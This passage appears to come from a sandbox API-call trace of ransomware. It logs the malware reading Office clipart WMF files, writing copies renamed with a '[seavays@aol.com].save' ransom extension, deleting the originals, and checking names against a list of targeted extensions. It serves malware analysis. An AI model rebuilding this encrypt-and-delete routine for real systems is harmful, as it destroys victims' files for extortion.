dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0209.932] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=17728) returned 1 [0209.932] CloseHandle (hObject=0x380) returned 1 [0209.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 0x220 [0209.932] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0209.932] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.932] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.932] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0209.933] GetLastError () returned 0x0 [0209.933] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x4540, lpOverlapped=0x0) returned 1 [0209.935] WriteFile (in: hFile=0x3a0, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x4550, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x4550, lpOverlapped=0x0) returned 1 [0209.937] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.937] WriteFile (in: hFile=0x3a0, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.937] SetEndOfFile (hFile=0x3a0) returned 1 [0209.941] CloseHandle (hObject=0x3a0) returned 1 [0209.941] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.941] SetEndOfFile (hFile=0x380) returned 1 [0209.942] CloseHandle (hObject=0x380) returned 1 [0209.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.943] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105272.wmf")) returned 1 [0209.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0209.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0209.943] lstrlenW (lpString=".doc") returned 4 [0209.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.943] lstrlenW (lpString=".docx") returned 5 [0209.943] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0209.943] lstrlenW (lpString=".pdf") returned 4 [0209.944] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.944] lstrlenW (lpString=".xls") returned 4 [0209.944] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.944] lstrlenW (lpString=".xlsx") returned 5 [0209.944] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0209.944] lstrlenW (lpString=".ppt") returned 4 [0209.944] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0209.944] lstrlenW (lpString=".zip") returned 4 [0209.944] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.944] lstrlenW (lpString=".rar") returned 4 [0209.944] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.944] lstrlenW (lpString=".bz2") returned 4 [0209.944] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.944] lstrlenW (lpString=".7z") returned 3 [0209.944] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0209.944] lstrlenW (lpString=".dbf") returned 4 [0209.944] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0209.944] lstrlenW (lpString=".1cd") returned 4 [0209.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0209.944] lstrlenW (lpString=".jpg") returned 4 [0209.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0209.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0209.944] lstrlenW (lpString=".doc") returned 4 [0209.944] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.944] lstrlenW (lpString=".docx") returned 5 [0209.944] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0209.945] lstrlenW (lpString=".pdf") returned 4 [0209.945] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.945] lstrlenW (lpString=".xls") returned 4 [0209.945] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.945] lstrlenW (lpString=".xlsx") returned 5 [0209.945] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0209.945] lstrlenW (lpString=".ppt") returned 4 [0209.945] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0209.945] lstrlenW (lpString=".zip") returned 4 [0209.945] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.945] lstrlenW (lpString=".rar") returned 4 [0209.945] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.945] lstrlenW (lpString=".bz2") returned 4 [0209.945] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.945] lstrlenW (lpString=".7z") returned 3 [0209.945] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0209.945] lstrlenW (lpString=".dbf") returned 4 [0209.945] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0209.945] lstrlenW (lpString=".1cd") returned 4 [0209.945] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.945] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105272.WMF") returned 68 [0209.945] lstrlenW (lpString=".jpg") returned 4 [0209.945] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.945] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.945] lstrlenW (lpString="J0105276.WMF") returned 12 [0209.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0209.946] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=19240) returned 1 [0209.946] CloseHandle (hObject=0x380) returned 1 [0209.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 0x220 [0209.946] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0209.946] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.946] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.947] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0209.947] GetLastError () returned 0x0 [0209.948] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x4b28, lpOverlapped=0x0) returned 1 [0209.949] WriteFile (in: hFile=0x3a0, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x4b30, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x4b30, lpOverlapped=0x0) returned 1 [0210.327] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.327] WriteFile (in: hFile=0x3a0, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.327] SetEndOfFile (hFile=0x3a0) returned 1 [0210.327] CloseHandle (hObject=0x3a0) returned 1 [0210.327] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.327] SetEndOfFile (hFile=0x380) returned 1 [0210.328] CloseHandle (hObject=0x380) returned 1 [0210.328] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.329] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105276.wmf")) returned 1 [0210.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0210.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0210.329] lstrlenW (lpString=".doc") returned 4 [0210.329] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.329] lstrlenW (lpString=".docx") returned 5 [0210.329] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.329] lstrlenW (lpString=".pdf") returned 4 [0210.329] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.329] lstrlenW (lpString=".xls") returned 4 [0210.329] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.329] lstrlenW (lpString=".xlsx") returned 5 [0210.329] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.330] lstrlenW (lpString=".ppt") returned 4 [0210.330] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0210.330] lstrlenW (lpString=".zip") returned 4 [0210.330] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.330] lstrlenW (lpString=".rar") returned 4 [0210.330] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.330] lstrlenW (lpString=".bz2") returned 4 [0210.330] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.330] lstrlenW (lpString=".7z") returned 3 [0210.330] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0210.330] lstrlenW (lpString=".dbf") returned 4 [0210.330] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0210.330] lstrlenW (lpString=".1cd") returned 4 [0210.330] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0210.330] lstrlenW (lpString=".jpg") returned 4 [0210.330] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0210.330] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0210.330] lstrlenW (lpString=".doc") returned 4 [0210.330] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.330] lstrlenW (lpString=".docx") returned 5 [0210.330] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0210.330] lstrlenW (lpString=".pdf") returned 4 [0210.330] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.330] lstrlenW (lpString=".xls") returned 4 [0210.330] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.330] lstrlenW (lpString=".xlsx") returned 5 [0210.331] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0210.331] lstrlenW (lpString=".ppt") returned 4 [0210.331] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0210.331] lstrlenW (lpString=".zip") returned 4 [0210.331] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.331] lstrlenW (lpString=".rar") returned 4 [0210.331] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.331] lstrlenW (lpString=".bz2") returned 4 [0210.331] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.331] lstrlenW (lpString=".7z") returned 3 [0210.331] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0210.331] lstrlenW (lpString=".dbf") returned 4 [0210.331] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0210.331] lstrlenW (lpString=".1cd") returned 4 [0210.331] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.331] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105276.WMF") returned 68 [0210.331] lstrlenW (lpString=".jpg") returned 4 [0210.331] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.331] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.331] lstrlenW (lpString="J0105338.WMF") returned 12 [0210.331] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0210.332] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=11584) returned 1 [0210.332] CloseHandle (hObject=0x380) returned 1 [0210.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 0x220 [0210.332] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0210.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0210.332] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.332] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.332] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0210.333] GetLastError () returned 0x0 [0210.333] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x2d40, lpOverlapped=0x0) returned 1 [0210.335] WriteFile (in: hFile=0x3a0, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0x2d50, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0x2d50, lpOverlapped=0x0) returned 1 [0210.336] ReadFile (in: hFile=0x380, lpBuffer=0x35d3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f2fecc, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesRead=0x2f2fecc*=0x0, lpOverlapped=0x0) returned 1 [0210.336] WriteFile (in: hFile=0x3a0, lpBuffer=0x35d3020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f2fc94, lpOverlapped=0x0 | out: lpBuffer=0x35d3020*, lpNumberOfBytesWritten=0x2f2fc94*=0xec, lpOverlapped=0x0) returned 1 [0210.336] SetEndOfFile (hFile=0x3a0) returned 1 [0210.336] CloseHandle (hObject=0x3a0) returned 1 [0210.336] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f2fec0 | out: lpNewFilePointer=0x0) returned 1 [0210.336] SetEndOfFile (hFile=0x380) returned 1 [0210.337] CloseHandle (hObject=0x380) returned 1 [0210.337] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0210.337] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105338.wmf")) returned 1 [0210.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0210.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0210.338] lstrlenW (lpString=".doc") returned 4 [0210.338] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.338] lstrlenW (lpString=".docx") returned 5 [0210.338] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0210.338] lstrlenW (lpString=".pdf") returned 4 [0210.338] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.338] lstrlenW (lpString=".xls") returned 4 [0210.338] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.338] lstrlenW (lpString=".xlsx") returned 5 [0210.338] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0210.338] lstrlenW (lpString=".ppt") returned 4 [0210.338] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0210.338] lstrlenW (lpString=".zip") returned 4 [0210.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.338] lstrlenW (lpString=".rar") returned 4 [0210.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.339] lstrlenW (lpString=".bz2") returned 4 [0210.339] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.339] lstrlenW (lpString=".7z") returned 3 [0210.339] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0210.339] lstrlenW (lpString=".dbf") returned 4 [0210.339] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0210.339] lstrlenW (lpString=".1cd") returned 4 [0210.339] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0210.339] lstrlenW (lpString=".jpg") returned 4 [0210.339] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0210.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0210.339] lstrlenW (lpString=".doc") returned 4 [0210.339] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0210.339] lstrlenW (lpString=".docx") returned 5 [0210.339] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0210.339] lstrlenW (lpString=".pdf") returned 4 [0210.339] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0210.339] lstrlenW (lpString=".xls") returned 4 [0210.339] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0210.339] lstrlenW (lpString=".xlsx") returned 5 [0210.339] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0210.339] lstrlenW (lpString=".ppt") returned 4 [0210.339] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0210.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0210.339] lstrlenW (lpString=".zip") returned 4 [0210.339] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0210.339] lstrlenW (lpString=".rar") returned 4 [0210.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0210.340] lstrlenW (lpString=".bz2") returned 4 [0210.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0210.340] lstrlenW (lpString=".7z") returned 3 [0210.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0210.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0210.340] lstrlenW (lpString=".dbf") returned 4 [0210.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0210.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0210.340] lstrlenW (lpString=".1cd") returned 4 [0210.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0210.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105338.WMF") returned 68 [0210.340] lstrlenW (lpString=".jpg") returned 4 [0210.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0210.340] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0210.340] lstrlenW (lpString="J0105348.WMF") returned 12 [0210.340] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0210.341] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x2f2ff14 | out: lpFileSize=0x2f2ff14*=17060) returned 1 [0210.341] CloseHandle (hObject=0x380) returned 1 [0210.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 0x220 [0210.341] GetFileAttributesW (lpFileName="C:\\Program 